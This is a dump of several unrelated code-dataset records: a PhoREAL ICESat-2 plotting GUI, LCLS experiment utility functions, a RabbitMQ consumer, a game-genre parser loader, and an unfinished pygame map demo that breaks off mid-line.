'alongTrack', \\\r\n 'z', 'class', 'confidence')\r\n\r\nplotList_measCorrNames = ('Shifted ATL03 Time', 'Shifted ATL03 Lat', 'Shifted ATL03 Lon', \\\r\n 'Shifted ATL03 Easting', 'Shifted ATL03 Northing', \\\r\n 'Shifted ATL03 Cross-Track', 'Shifted ATL03 Along-Track', \\\r\n 'Shifted ATL03 Height', 'Shifted ATL03 Class', 'Shifted ATL03 Conf') \r\n\r\n# Plot Corrected Measured Button Callback\r\ndef plotMeasCorr():\r\n \r\n # Try plot code\r\n try:\r\n \r\n # Get\r\n gtNumToPlot = gtNumPlotBox.current()\r\n \r\n # Get x,y combo box number selections\r\n xVarNum = xValsBox.current()\r\n yVarNum = yValsBox.current()\r\n \r\n # x,y param names\r\n xParam = plotList_truth[xVarNum]\r\n yParam = plotList_truth[yVarNum]\r\n \r\n if('time' in xParam or 'time' in yParam):\r\n messagebox.showinfo('Error','Corrected measured data cannot plot time.')\r\n elif('latitude' in xParam or 'latitude' in yParam):\r\n messagebox.showinfo('Error','Corrected measured data cannot plot latitude.')\r\n elif('longitude' in xParam or 'longitude' in yParam):\r\n messagebox.showinfo('Error','Corrected measured data cannot plot longitude.')\r\n elif('class' in xParam or 'class' in yParam):\r\n messagebox.showinfo('Error','Corrected measured data cannot plot classification.')\r\n elif('confidence' in xParam or 'confidence' in yParam):\r\n messagebox.showinfo('Error','Corrected measured data cannot plot signal confidence.')\r\n else: \r\n \r\n # Get x,y combo bxx text selections\r\n xDataOrig = eval('atl03Data[' + str(gtNumToPlot) + '].' + xParam)\r\n yDataOrig = eval('atl03Data[' + str(gtNumToPlot) + '].' + yParam)\r\n xDataCorr = eval('atlCorrections[' + str(gtNumToPlot) + '].' + xParam)\r\n yDataCorr = eval('atlCorrections[' + str(gtNumToPlot) + '].' + yParam)\r\n fileName = eval('atl03Data[' + str(gtNumToPlot) + '].atl03FileName')\r\n gtNum = eval('atl03Data[' + str(gtNumToPlot) + '].gtNum')\r\n \r\n xData = xDataOrig + xDataCorr\r\n yData = yDataOrig + yDataCorr\r\n \r\n # Get labels\r\n xLabel = xlabel_textBox.get()\r\n yLabel = ylabel_textBox.get()\r\n title = fileName + ' (' + gtNum + ')'\r\n \r\n yName = plotList_measCorrNames[yVarNum]\r\n \r\n # Call getPlot function\r\n getPlot_measCorr(xData, yData, xLabel, yLabel, title, yName)\r\n \r\n except:\r\n \r\n print('Cannot plot data. Please check inputs')\r\n \r\n # endTry\r\n# endDef\r\n \r\n# Plot Corrected Measured Button\r\nbtn = tk.Button(measCorrPlotLabelframe, text='ADD TO PLOT', font=('Arial Bold', 16), width = 15, command=plotMeasCorr) \r\nbtn.place(x=320, y=25)\r\n\r\n\r\n###############################################################################\r\n#\r\n# TAB 2: PLOT OPTIONS - PHO SHOW\r\n#\r\n###############################################################################\r\n\r\n### Plot Corrected Measured Panel label\r\nphoShowPlotLabelframe = tk.LabelFrame(tab2, width=545, height=100, text='PhoSHOW', font=('Arial Bold', 14))\r\nphoShowPlotLabelframe.place(x=580, y=290)\r\n\r\n# PhoShow Button Callback\r\ndef phoShow():\r\n \r\n # Try plot code\r\n try:\r\n \r\n # Get GT Num to plot\r\n gtNumToPlot = gtNumPlotBox.current()\r\n \r\n # Get x,y combo bxx text selections\r\n ytrack = eval('atl03Data[' + str(gtNumToPlot) + '].alongTrack')\r\n h_ph = eval('atl03Data[' + str(gtNumToPlot) + '].z')\r\n classification = eval('atl03Data[' + str(gtNumToPlot) + '].classification')\r\n direction = eval('atl03Data[' + str(gtNumToPlot) + '].trackDirection')\r\n lat = eval('atl03Data[' + str(gtNumToPlot) + '].lat')\r\n lon = eval('atl03Data[' + str(gtNumToPlot) + '].lon')\r\n \r\n outFilePath = outPath_textBox.get().strip()\r\n \r\n # Update message\r\n print('Writing HTML File...')\r\n \r\n # Call PhoShow code\r\n createHTMLChart(ytrack, h_ph, classification, lat, lon, \r\n direction,\r\n online = None,\r\n classification_list = [1,2,3],\r\n output_folder = outFilePath,\r\n in_file03_name = 'ATL03', \r\n blank = viewerBlank_html, \r\n blanki = viewerBlankOnline_html)\r\n \r\n # Update message\r\n print('HTML File Complete!')\r\n \r\n # Open PhoShow in HTML browser\r\n webbrowser.open_new_tab('Viewer_ATL03.html')\r\n \r\n except:\r\n \r\n # Print error message\r\n print('Cannot open PhoSHOW. Please check inputs')\r\n \r\n # endTry\r\n# endDef\r\n \r\n# PhoShow Button\r\nbtn = tk.Button(phoShowPlotLabelframe, text='PhoSHOW', font=('Arial Bold', 16), width = 15, command=phoShow) \r\nbtn.place(x=30, y=15)\r\n\r\n\r\n###############################################################################\r\n#\r\n# TAB 3: HELP PAGE\r\n#\r\n###############################################################################\r\n\r\n### Plot Corrected Measured Panel label\r\nhelpLabelframe1 = tk.LabelFrame(tab3, width=545, height=450, text='PhoREAL Help Information', font=('Arial Bold', 14))\r\nhelpLabelframe1.place(x=15, y=10)\r\n\r\nphoreal_help_info1 = \\\r\n'Get ICESat-2 Data Input Section:\\n' \\\r\n'--------------------------------------------\\n' \\\r\n'This section handles the input ATL03/ATL08 files from ICESat-2\\n' \\\r\n'\\n' \\\r\n'+ ATL03 File: Path to input ATL03 .h5 file\\n' \\\r\n'+ ATL08 File: Path to input ATL08 .h5 file\\n' \\\r\n'+ Output Directory: Path to directory for output data\\n' \\\r\n'+ Ground Track Numbers: Option to select ICESat-2 ground tracks\\n' \\\r\n'+ Trim ICESat-2 Data Options: Methods to trim ICESat-2 data\\n' \\\r\n' - None: No trimming\\n' \\\r\n' - Manual: Trim to user-specified latitude or time min/max bounds\\n' \\\r\n' - Auto: Trim to reference region bounds (ARL ONLY)\\n' \\\r\n'+ Create Output Files: Option to create output files for measured data\\n' \\\r\n'\\n' \\\r\n'Get Reference Data Input Section:\\n' \\\r\n'-----------------------------------------------\\n' \\\r\n'This section handles the reference data used to find ICESat-2 offsets\\n' \\\r\n'\\n' \\\r\n'+ Use Existing Data: Option to use existing or new reference data\\n' \\\r\n'+ Buffer Size: For creating new reference data (ARL Only)\\n' \\\r\n'+ Reference File Name: Path to reference file (.las, .laz, or .tif files)\\n' \\\r\n'+ Create Reference File: Option to create output reference file'\r\n\r\n\r\nlbl = tk.Label(helpLabelframe1, text=phoreal_help_info1, font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=10)\r\n\r\n### Plot Corrected Measured Panel label\r\nhelpLabelframe2 = tk.LabelFrame(tab3, width=545, height=440, text='', font=('Arial Bold', 14))\r\nhelpLabelframe2.place(x=580, y=20)\r\n\r\nphoreal_help_info2 = \\\r\n'Find ICESat-2 Offsets Relative to Reference Data Section:\\n' \\\r\n'-------------------------------------------------------------------------------\\n' \\\r\n'This section slides the ICESat-2 data over the reference data and finds the\\n' \\\r\n'offset with the minimum Mean Absolute Error in the Z direction (location\\n' \\\r\n'of best fit relative to reference data)\\n' \\\r\n'\\n' \\\r\n'+ Cross-Track Bounds (m): Cross-track search area [min, max] or one value\\n' \\\r\n'+ Along-Track Bounds (m): Along-track search area [min, max] or one value\\n' \\\r\n'+ Grid Resolution(s) (m): Raster resolution(s) to grid reference data\\n' \\\r\n'+ Use Fixed Vertical Shift: Option to use a fixed vertical shift value\\n' \\\r\n'+ Vertical Shift (m): Vertical shift value if previous option is selected\\n' \\\r\n'+ Use ICESat-2 Signal Confidence Value(s): Option to use ICESat-2\\n' \\\r\n' signal confidence values to filter measured data\\n' \\\r\n' - Input signal confidence values to filter ICESat-2 data\\n' \\\r\n'+ Use Reference Ground Index: Option to use reference ground index value\\n' \\\r\n' to filter reference data (Requires ATL08 file)\\n' \\\r\n' - Reference ground index value (Texpert ground class = 2)\\n' \\\r\n'+ Create Shifted ICESat-2 File: Option to create corrected file\\n' \\\r\n'+ Make Output Plots: Option to create output plots'\r\n\r\nlbl = tk.Label(helpLabelframe2, text=phoreal_help_info2, font=('Arial', 12), anchor = 'w', justify='left')\r\nlbl.place(x=10, y=10)\r\n\r\n\r\n###############################################################################\r\n#\r\n# TAB 4: ABOUT PAGE\r\n#\r\n###############################################################################\r\n\r\n### Panel label\r\naboutLabelFrame = tk.LabelFrame(tab4, width=1110, height=450, text='', font=('Arial Bold', 14))\r\naboutLabelFrame.place(x=15, y=10)\r\n\r\naboutInfo = \\\r\n'PhoREAL Description\\n' \\\r\n'-------------------------------------------------------------------------------------------------------------\\n' \\\r\n'PhoREAL is a comprehensive tool for analyzing and plotting ATL03 and ATL08\\n' \\\r\n'data from ICESat-2. All of the capabilities of PhoREAL v3.0\\n' \\\r\n'have been compiled into this Windows Graphical User Interface (GUI).\\n' \\\r\n'\\n' \\\r\n'PhoREAL Licensing Information\\n' \\\r\n'------------------------------------------------------------------------------------------\\n' \\\r\n'This package is free software; the copyright holder gives unlimited\\n' \\\r\n'permission to copy and/or distribute, with or without modification, as\\n' \\\r\n'long as this notice is preserved.\\n' \\\r\n'\\n' \\\r\n'Authors\\n' \\\r\n'--------------------\\n' \\\r\n'Mike Alonzo\\n' \\\r\n'Eric Guenther\\n' \\\r\n'\\n' \\\r\n'Contact Information\\n' \\\r\n'------------------------------------------------------------------------------\\n' \\\r\n'Any feedback can be sent to phoreal@arlut.utexas.edu\\n' \\\r\n'\\n\\n' \\\r\n'Copyright 2019 Applied Research Laboratories, The University of Texas at Austin'\r\n\r\nlbl = tk.Label(aboutLabelFrame, text=aboutInfo, font=('Arial', 12), anchor = 'w', justify='center')\r\nlbl.place(x=260, y=10)\r\n\r\n# Open GUI window\r\nwindow.mainloop()","sub_path":"source_code/getAtl03_GUI.py","file_name":"getAtl03_GUI.py","file_ext":"py","file_size_in_byte":65359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"497832898","text":"from __future__ import print_function\n# import standard python system tools\nfrom future import standard_library\nstandard_library.install_aliases()\nimport argparse\nfrom glob import glob\nimport re\nimport operator\nimport sys\nimport os\nimport imp\nimport subprocess\nimport inspect\nimport pprint\nimport time\n\n_lcls_instruments = ['amo','sxr','xpp','xcs','mfx','cxi','mec','xrt']\n_default_exp = {'exp': 'cxitut13', 'run': 22}\n_instrument_good_guess = None \n_exp_good_guess = None\n\ndef interactive_mode():\n try:\n __IPYTHON__\n except NameError:\n if hasattr(sys,'ps1'):\n return 'interactive'\n else:\n return None\n else:\n return 'ipython'\n\ndef import_module(module_name, module_path, name=None):\n \"\"\"Import a module from a given path.\n \"\"\"\n try:\n if not isinstance(module_path,list):\n module_path = [module_path]\n file,filename,desc = imp.find_module(module_name,module_path)\n if not name:\n name = module_name\n\n globals()[name] = imp.load_module(module_name, file, filename, desc)\n# setattr(sys.modules[__name__],module_name,\n# imp.load_module(module_name, file, filename, desc)) \n except ImportError as err:\n print('ImportError:', err)\n except:\n print('import_module error')\n\ndef getattr_complete(base, args):\n \"\"\"Recursive getattr\n \"\"\"\n attrs = args.split('.')\n while len(attrs) > 0:\n base = getattr(base, attrs.pop(0))\n\n return base\n\ndef send_mail(subject, message='', from_name=None, to_name=None, **kwargs):\n \"\"\"\n Send mail\n\n Parameters\n ----------\n subject : str\n Subject of e-mail -- Required\n\n message : str\n e-mail message\n\n from_name : str\n name of message sender, os.getlogin() by default\n\n to_name : str or list\n name(s) of message recepients, from_name by default\n\n \"\"\"\n from email.mime.text import MIMEText\n from subprocess import Popen, PIPE\n import getpass\n \n if not subject:\n print(\"Message subject required\")\n return None\n\n if not from_name:\n from_name = os.getlogin()\n\n if not to_name:\n #mailmsg[\"To\"] = getpass.getuser()+\"@slac.stanford.edu\"\n to_name = from_name\n else:\n if isinstance(to_name, list):\n to_names = []\n for name in to_name:\n if name not in to_names:\n to_names.append(name)\n to_name = ','.join(to_names)\n\n if not isinstance(to_name, str):\n print(('Not valid to_name:', to_name))\n return None\n\n if not isinstance(message, str):\n message = str(message)\n\n try:\n mailmsg = MIMEText(message)\n mailmsg[\"To\"] = to_name\n mailmsg[\"From\"] = from_name\n mailmsg[\"Subject\"] = subject\n p = Popen([\"/usr/sbin/sendmail\", \"-t\"], stdin=PIPE)\n p.communicate(mailmsg.as_string())\n except:\n traceback.print_exc('Error with from {:} to {:} message -- {:}'.format(from_name, to_name, subject))\n return from_name, to_name, subject, message\n\n\ndef group_members(*args, **kwargs):\n \"\"\"Return dictionary of members in group.\n \"\"\"\n if len(args) == 1:\n if type(args[0]) is list:\n groups = args[0]\n else:\n groups = args\n elif len(args) > 1:\n groups = args\n else:\n groups = [get_groups()]\n\n member_dict = group_member_dict(groups)\n members = {}\n for group in groups:\n item = member_dict.get(group)\n if item:\n members[group] = item.get('members')\n else:\n members[group] = []\n\n return members\n\ndef exp_info(exp):\n \"\"\"\n Get experiment information\n \"\"\"\n from RegDB import experiment_info\n if isinstance(exp, str):\n expNum = experiment_info.name2id(exp)\n else:\n expNum = exp\n if not expNum:\n return {}\n \n info = experiment_info.getexp(expNum)\n grp = info.get('posix_gid')\n members = group_member_dict(grp)\n if grp in members:\n info['members'] = members[grp]['members']\n else:\n print('ERROR - connot get members for group {:}'.format(grp))\n info['members'] = [] \n return info\n\ndef group_member_dict(*args):\n \"\"\"Dictionary of members in groups.\n \"\"\"\n import subprocess\n popts = [\"getent\", \"group\"]\n if len(args) == 1:\n if type(args[0]) is list:\n for arg in args[0]:\n popts.append(arg)\n else:\n popts.append(args[0])\n \n elif len(args) > 1:\n for arg in args:\n popts.append(arg)\n\n getent_group = subprocess.Popen(popts,\n stdout=subprocess.PIPE).communicate()[0].split('\\n')\n\n member_dict = {}\n for group in getent_group:\n item = group.split(':')\n if len(item) > 3:\n member_dict[item[0]] = {'id': item[2], 'members':item[3].split(',')}\n \n return member_dict\n\ndef get_user():\n \"\"\"Return the username.\n \"\"\"\n return os.getlogin()\n\ndef get_groups(*args, **kwargs):\n \"\"\"Return dictionary of groups for list of usernames. \n If username(s) are not input get groups for current login user.\n \"\"\"\n try:\n if len(args) == 1:\n if type(args[0]) is list:\n usernames = args[0]\n else:\n usernames = args\n elif len(args) > 1:\n usernames = args\n else:\n usernames = [get_user()]\n\n groups = {}\n for user in usernames:\n try:\n groupinfo = subprocess.Popen([\"groups\",user],\n stdout=subprocess.PIPE).communicate()[0]\n groupstr = groupinfo.split(':')[1]\n groups[user] = groupstr.split()\n except:\n groups[user] = [] \n return groups\n except:\n print('No groups found')\n return None\n\ndef get_run_from_id(run_id, exp):\n import pandas as pd\n from RegDB import experiment_info\n instrument = exp[0:3]\n df = pd.DataFrame(experiment_info.experiment_runs(instrument.upper(),exp))\n try:\n run = df[df['id'] == run_id]['num'].values[0]\n except:\n run = None\n\n return run\n\ndef run_available(exp, run=None, instrument=None, offline=True, ffb=False, idx=None, path=None, \n all_streams=False, valid_streams=False):\n \"\"\"\n Check if run is available\n\n Parameters\n ---------\n offline : bool\n Check if offline if True \n valid_streams : bool\n Return list of valid streams with non-zero size if True\n all_streams : bool\n Return list of all streams if True\n \"\"\"\n import glob, os\n from RegDB import experiment_info\n if not instrument:\n instrument = exp[0:3]\n if not run:\n run = experiment_info.experiment_runs(instrument.upper(),exp)[-1]['num']\n if isinstance(exp, str):\n expNum = experiment_info.name2id(exp)\n if expNum is None:\n return False\n else:\n expNum = exp\n\n try:\n file_list = experiment_info.get_open_files(expNum,run)\n except:\n file_list = []\n\n if not file_list:\n return False\n \n if not path:\n if ffb:\n path = os.path.join('/reg/d/ffb',instrument,exp,'xtc')\n else:\n path = os.path.join('/reg/d/psdm/',instrument,exp,'xtc')\n #path = os.path.join(experiment_info.getexp_datapath(expNum),instrument,exp,'xtc')\n\n if idx:\n xtc_files = glob.glob(path+'/index/*.xtc.idx')\n else:\n xtc_files = glob.glob(path+'/*.xtc')\n\n streams = [] \n for item in file_list:\n if idx:\n name = '{:}/index/e{:}-r{:04}-s{:02}-c{:02}.xtc.idx'.format(path,expNum,item['run'],item['stream'],item['chunk'])\n else:\n name = '{:}/e{:}-r{:04}-s{:02}-c{:02}.xtc'.format(path,expNum,item['run'],item['stream'],item['chunk'])\n if name not in xtc_files:\n return False\n else:\n if valid_streams and os.path.getsize(name):\n streams.append(item['stream'])\n elif all_streams:\n streams.append(item['stream'])\n\n if valid_streams or all_streams:\n return streams\n else:\n return True\n\ndef get_runs(exp, instrument=None):\n \"\"\"\n Return DataFrame of runs form RegDB database\n \"\"\"\n import pandas as pd\n from RegDB import experiment_info\n if not instrument:\n instrument = exp[0:3]\n runs_list = experiment_info.experiment_runs(instrument.upper(),exp)\n return pd.DataFrame(runs_list)\n\ndef get_experiments(*args, **kwargs):\n \"\"\"Return dictionary of experiments for list of users.\n If username(s) are not input get experiments for current login user.\n \"\"\"\n groups = get_groups(*args)\n experiments = {}\n for user in groups:\n try:\n experiments[user] = [exp for exp in groups[user] \n if len(exp) == 8 and len(exp.split('-')) == 1]\n except:\n experiments[user] = []\n return experiments\n\ndef parse_instrument(**kwargs):\n \"\"\"Return (instrument, station) tuple from instrument and station keywords.\n Guess instrument and station if keywords not supplied.\n \"\"\"\n if len(kwargs) > 0 and 'instrument' in list(kwargs.keys()):\n instrument = kwargs['instrument']\n else:\n instrument = instrument_guess()\n if len(kwargs) > 0 and 'station' in list(kwargs.keys()):\n station = kwargs['station']\n else:\n station = 0\n\n if len(instrument) > 3:\n try:\n station = int(instrument[4])\n if station > 1:\n station = 0\n except:\n station = 0\n instrument = instrument[0:3]\n\n return (instrument,station)\n\ndef active_experiment(*args, **kwargs):\n \"\"\"Returns active experiment. \n Will parse input as instrument:station where station is optional.\n Or instrument and station can be input as keywords with station=0 as default.\n\n PARAMETERS:\n\n @param instrument: the name of the instrument\n @param station: the optional station number \n (default is 0, for cxi station 1 is the parasitic daq experiment)\n @return: the list of run descriptors as explained above\n \n \"\"\"\n from RegDB import experiment_info\n if len(args) > 0:\n kwargs['instrument'] = args[0]\n instrument, station = parse_instrument(**kwargs)\n\n try: \n active_experiment = \\\n experiment_info.active_experiment(instrument.upper(),station)[1]\n except:\n raise NameError('instrument:',instrument,'station:',station)\n print('Cannot determint active experiment!')\n active_experiment = None\n\n return active_experiment\n\ndef live_source(*args, **kwargs):\n \"\"\"Returns psana source string for live data from shared memory on the current node.\n \"\"\"\n if 'monshmserver' in kwargs:\n monshmserver = kwargs['monshmserver']\n else:\n monshmserver = None\n\n if not monshmserver:\n monshmserver='psana'\n\n shm_srvs = glob('/dev/shm/PdsMonitorSharedMemory_'+monshmserver)\n if shm_srvs == []:\n instrument = instrument_guess()\n monshmserver = instrument.upper()\n shm_srvs = glob('/dev/shm/PdsMonitorSharedMemory_'+monshmserver)\n \n if shm_srvs != []:\n try:\n MPI_RANK = 0\n source_str = 'shmem={:}.0:stop=no'.format(monshmserver)\n except:\n print('Exception in finding shared memory server: ',shm_srvs)\n source_str = None\n else:\n source_str = None\n\n return source_str\n\ndef experiment_guess(*args, **kwargs):\n \"\"\"Returns best guess as to what your experiment is based on\n most recent experiment for which you have been added.\n Use get_experiments to get a list of all of your experiments.\n instrument is an optional keyword to narrow the search\n \"\"\"\n from RegDB import experiment_info\n if len(args) == 0:\n global _exp_good_guess\n global _instrument_good_guess\n else:\n _exp_good_guess = None\n _instrument_good_guess = None\n\n instrument = kwargs.get('instrument')\n if instrument:\n _exp_good_guess = True\n return active_experiment(instrument)\n else:\n if _instrument_good_guess is None:\n instrument = instrument_guess() \n else:\n instrument = None\n\n if instrument and is_in_group('ps-'+instrument) or is_in_psdata():\n exp_best = active_experiment(instrument)\n else:\n experiments = list(get_experiments(*args).values())[0]\n if len(experiments) > 0:\n nruns = 0\n iexp = 0\n while nruns == 0 and iexp < len(experiments):\n exp = experiments[-1-iexp]\n inst = exp[0:3]\n runs = experiment_info.experiment_runs(inst.upper(),exp)\n nruns = len(runs)\n # print 'tryiing: ',exp,inst,nruns\n if nruns > 0:\n exp_best = exp\n nruns_best = nruns\n if _instrument_good_guess is True and inst != instrument:\n nruns = 0\n _exp_good_guess = False \n else:\n _exp_good_guess = True\n iexp += 1\n if nruns_best == 0:\n exp_best = _default_exp['exp']\n _exp_good_guess = False \n else:\n exp_best = _default_exp['exp'] \n _exp_good_guess = False \n\n return exp_best\n\ndef instrument_guess(*args):\n \"\"\"Return the instrument on which you are working based. \n \"\"\"\n if len(args) > 0:\n global _instrument_good_guess\n else:\n _instrument_good_guess = None\n \n hostsplit = os.uname()[1].split('-')\n cwdsplit = os.getcwd().split('/')\n if len(hostsplit) == 2 and hostsplit[0] in _lcls_instruments:\n instrument = hostsplit[0]\n _instrument_good_guess = True\n elif len(hostsplit) > 2 and hostsplit[1] in _lcls_instruments:\n instrument = hostsplit[1]\n _instrument_good_guess = True\n elif len(cwdsplit) > 4 and cwdsplit[4] in _lcls_instruments:\n instrument = cwdsplit[4]\n _instrument_good_guess = True \n elif len(get_ps_instruments(*args)) > 0:\n _instrument_good_guess = False\n instrument = get_ps_instruments(*args)[0]\n else:\n instrument = experiment_guess(*args)[0:3]\n _instrument_good_guess = False\n\n return instrument\n\ndef get_ps_instruments(*args):\n \"\"\"Return list of instruments for which user is an instrument member.\n e.g., in the group 'ps-cxi'\n \"\"\"\n # should add all instrument accounts if in ps-data?\n groupdict = {'ps-'+inst: inst for inst in _lcls_instruments}\n groups = list(get_groups(*args).values())[0]\n return [groupdict[key] for key \n in list(set(groups) & set(groupdict.keys()))]\n\ndef get_opr_accounts(*args):\n \"\"\"Return list of instruments for which user is an operator.\n e.g., in the group 'cxiopr'\n \"\"\"\n groupdict = {inst+'opr': inst for inst in _lcls_instruments}\n groups = list(get_groups(*args).values())[0]\n return [groupdict[key] for key in list(set(groups) & set(groupdict.keys()))]\n\ndef is_in_group(group,*args):\n \"\"\"Return True if user is in specified group. \n If no username is supplied assume current user.\n Usage:\n is_in_group(group,[username])\n \"\"\"\n groups = list(get_groups(*args).values())[0]\n return group in groups\n\ndef is_in_psdata(*args):\n \"\"\"Return True if user is in 'ps-data' group.\n \"\"\"\n return is_in_group('ps-data',*args)\n\ndef is_in_pcds(*args):\n \"\"\"Return True if user is in 'ps-pcds' group.\n \"\"\"\n return is_in_group('ps-pcds',*args)\n\ndef is_in_psusers(*args):\n \"\"\"Return True if user is in 'ps-users' group.\n \"\"\"\n return is_in_group('ps-users',*args)\n\ndef read_dictionary(file_name):\n \"\"\"Read and return a python dictionary from file.\n \"\"\"\n try: \n with open(file_name,'r') as f:\n read_dict = eval(f.read())\n except:\n print(\"Failed reading \", file_name)\n read_dict = None\n\n return read_dict\n\ndef write_dictionary(out_dict, file_name, **kwargs):\n \"\"\"Write out a dictionary to file (using pprint for easy to read formatting).\n \"\"\"\n print(out_dict,file_name)\n try:\n with open(file_name,'w') as f:\n f.write(pprint.pformat(out_dict))\n except:\n print(\"Failed writing to \", file_name)\n\ndef capture_print(executableStrThatPrints):\n \"\"\"Redirect stdout to StringIO()\n The following python code will use the capturePrint function to redirect stdio to StringIO() \n so you can capture info that would normally just be printed. \n --from https://joecodeswell.wordpress.com/2012/07/28/378/\n\n This is meant to be used temporarily while show_info procedures in psdata are moved to a class \n for ease in posting messages as well as logging. \n \n Note:ipython also has %%capture\n \"\"\"\n\n import sys, io\n\n # redir sys.stdout\n stdout = sys.stdout\n sys.stdout = reportSIO = io.StringIO()\n\n eval(executableStrThatPrints)\n reportStr = reportSIO.getvalue()\n\n # restore sys.stdout so we can print\n sys.stdout = stdout \n\n return reportStr\n\n# Use pandas to_json and read_json instead.\n#def write_json(dict_data, filename, indent=2, separators=(',',':'), \n# overwrite=False, **kwargs):\n# \"\"\"Wrapper for writing a dictionary to a json file.\n# Default indent and separators defined to make it more readable.\n# \"\"\"\n# import json\n# if not overwrite and glob(filename):\n# print 'File already exists -- use overwrite=True to overwrite the file'\n#\n# with open(filename, 'w') as outfile:\n# json.dump(dict_data, outfile)\n#\n#def read_json(filename):\n# \"\"\"Wrapper for reading a json file.\n# \"\"\"\n# import json\n# with open(filename, 'r') as infile:\n# return json.loads(infile)\n#\n\n\n","sub_path":"src/psutils.py","file_name":"psutils.py","file_ext":"py","file_size_in_byte":18011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"588742264","text":"#Author:Chris.chen\nimport pika\n#如果启动多个,这多个消费者轮询的消费数据\nconnection = pika.BlockingConnection(pika.ConnectionParameters('localhost'))\n\nchannel = connection.channel()\nchannel.queue_declare(queue='hello',durable=True) #durable 持久化,只持久化队列,不持久化消息\n\ndef callback(ch,method,properties,body):\n print('ch:',ch) #管道的内存对象地址\n print('method:',method) #queue的一些信息\n print('properties:',properties)\n print(\"[x] Received %r\"%body) #消息\n channel.basic_ack(delivery_tag=method.delivery_tag) #确认消息\nchannel.basic_qos(prefetch_count=1) #可选属性,生产端检测客户端还有一条消息没处理完,就不给我发消息\nchannel.basic_consume(\n callback, #如果收到消息,就调用callback函数处理消息\n queue = 'hello',\n #no_ack = True\n)\n\n\nprint('[*] Waiting for message.To exit press CTRL+C')\nchannel.start_consuming()","sub_path":"day11/RabbitMQ_consumer.py","file_name":"RabbitMQ_consumer.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"313397053","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'ipetrash'\n\n\nfrom glob import glob\nimport importlib.util\nimport os\nimport sys\nfrom typing import Dict, Callable\n\n# For import common.py\nsys.path.append('..')\n\n\ndef module_from_file(file_path):\n module_name = os.path.splitext(os.path.basename(file_path))[0]\n spec = importlib.util.spec_from_file_location(module_name, file_path)\n module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(module)\n return module\n\n\ndef get_parsers() -> Dict[str, Callable]:\n data = dict()\n\n for file_name in glob('../*.py'):\n module = module_from_file(file_name)\n if 'get_game_genres' not in dir(module):\n continue\n\n data[module.__name__.replace('_', '.')] = module.get_game_genres\n\n return data\n\n\nif __name__ == \"__main__\":\n for site, get_game_genres in get_parsers().items():\n print(f\"{site:<25}: {get_game_genres('Dead Space')}\")\n\n # ag.ru : ['Шутеры', 'Экшены']\n # gamebomb.ru : ['Боевик-приключения', 'Шутер']\n # gamefaqs.gamespot.com : ['Arcade', 'Shooter', 'Action', 'Third-Person']\n # gameguru.ru : ['Экшен', 'Шутер']\n # gamer.info.com : ['ужасы', 'action']\n # gamespot.com : ['3D', 'Shooter', 'Action', 'Third-Person']\n # igromania.ru : ['Боевик', 'Ужасы', 'Боевик от третьего лица']\n # iwantgames.ru : []\n # metacritic.com : ['Arcade', 'Third-Person', 'Sci-Fi', 'Action', 'Shooter']\n # mobygames.com : ['Action']\n # playground.ru : ['Ужасы', 'От третьего лица', 'Космос', 'Экшен']\n # spong.com : ['Adventure: Survival Horror']\n # stopgame.ru : []\n # store.steampowered.com : ['Action']\n","sub_path":"html_parsing/get_game_genres/dump_genres_all_parsers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"343191382","text":"import pygame as pg\nimport pyscroll\nfrom pyscroll.group import PyScrollGroup\n\nfrom pygame.locals import *\nfrom pytmx import load_pygame\n\nHERO_MOVE_SPEED = 200\n\ndef load_img(path):\n return pg.image.load(path).convert_alpha()\n\ndef init_screen(width, height):\n return pg.display.set_mode((width, height), RESIZABLE)\n\n\nclass Player(pg.sprite.Sprite):\n\n def __init__(self):\n pg.sprite.Sprite.__init__(self)\n self.img = load_img(\"../resources/sprites/Mage.png\")\n self.velocity = (0, 0)\n self._position = (0, 0)\n self._old_position = self.position\n self.rect = self.img.get_rect()\n self.feet = pg.Rect(0, 0, self.rect.width * 0.5, 8) # self.rect.height * 0.5)\n\n @property\n def position(self):\n return tuple(self._position)\n\n @position.setter\n def position(self, value):\n self._position = tuple(value)\n\n def update(self, dt):\n self._old_position = self._position[:]\n self._position[0] += dt * self.velocity[0]\n self._position[1] += dt * self.velocity[1]\n self.rect.topleft = self._position\n self.feet.midbottom = self.rect.midbottom\n\n def move_back(self, dt):\n \"If called after an update, the sprite can move back\"\n self._position = self._old_position\n self.rect.topleft = self._position\n self.feet.midbottom = self.rect.midbottom\n\n\nclass Game(object):\n \"\"\"Basic game.\"\"\"\n filename = \"../resources/maps/tower_test2.tmx\"\n\n def __init__(self, screen):\n self.running = False\n tmx_data = load_pygame(self.filename)\n\n self.walls = []\n for obj in tmx_data.objects():\n self.walls.append(pg.Rect(\n obj.x, obj.y,\n obj.width, obj.height\n ))\n\n map_data = pyscroll.data.TiledMapData(tmx_data)\n\n self.map_layer = pyscroll.BufferedRenderer(map_data, screen.get_size())\n self.map_layer.zoom = 2\n\n # 2nd layer for the sprites\n self.group = PyScrollGroup(map_layer=self.map_layer, default_layer=1)\n self.player = Player()\n\n self.player.position = self.map_layer.map_rect.center\n\n self.group.add(self.player)\n\n def draw(self, screen):\n self.group.center(self.player.rect.center)\n self.group.draw()\n\n def handle_input(self):\n poll = pg.event.poll\n e = poll()\n\n while e:\n if e.type == QUIT:\n self.running = False\n break\n\n elif e.type == KEYDOWN:\n if e.key == K_ESCAPE:\n self.running = False\n break\n\n elif e.key == K_EQUALS:\n self.map_layer.zoom += 0.25\n\n elif e.key == K_MINUS:\n value = self.map_layer.zoom - 0.25\n if value > 0:\n self.map_layer.zoom = value\n\n elif e.key == K_UP:\n self.player.velocity[1] = -HERO_MODE_SPEED\n elif e.key == K_DOWN:\n self.player.velocity[1] = HERO_MODE_SPEED\n else:\n self.player.velocity[1] = 0 # là là ici là\n\n elif e.type == VIDEO_RESIZE:\n init_screen(e.w, e.h)\n self.map_layer.set_size(e.w, e.h)\n e = poll()\n\n pressed = pg.key.get_pressed()\n \n\n\n\npg.init()\npg.font.init()\n\nscreen = 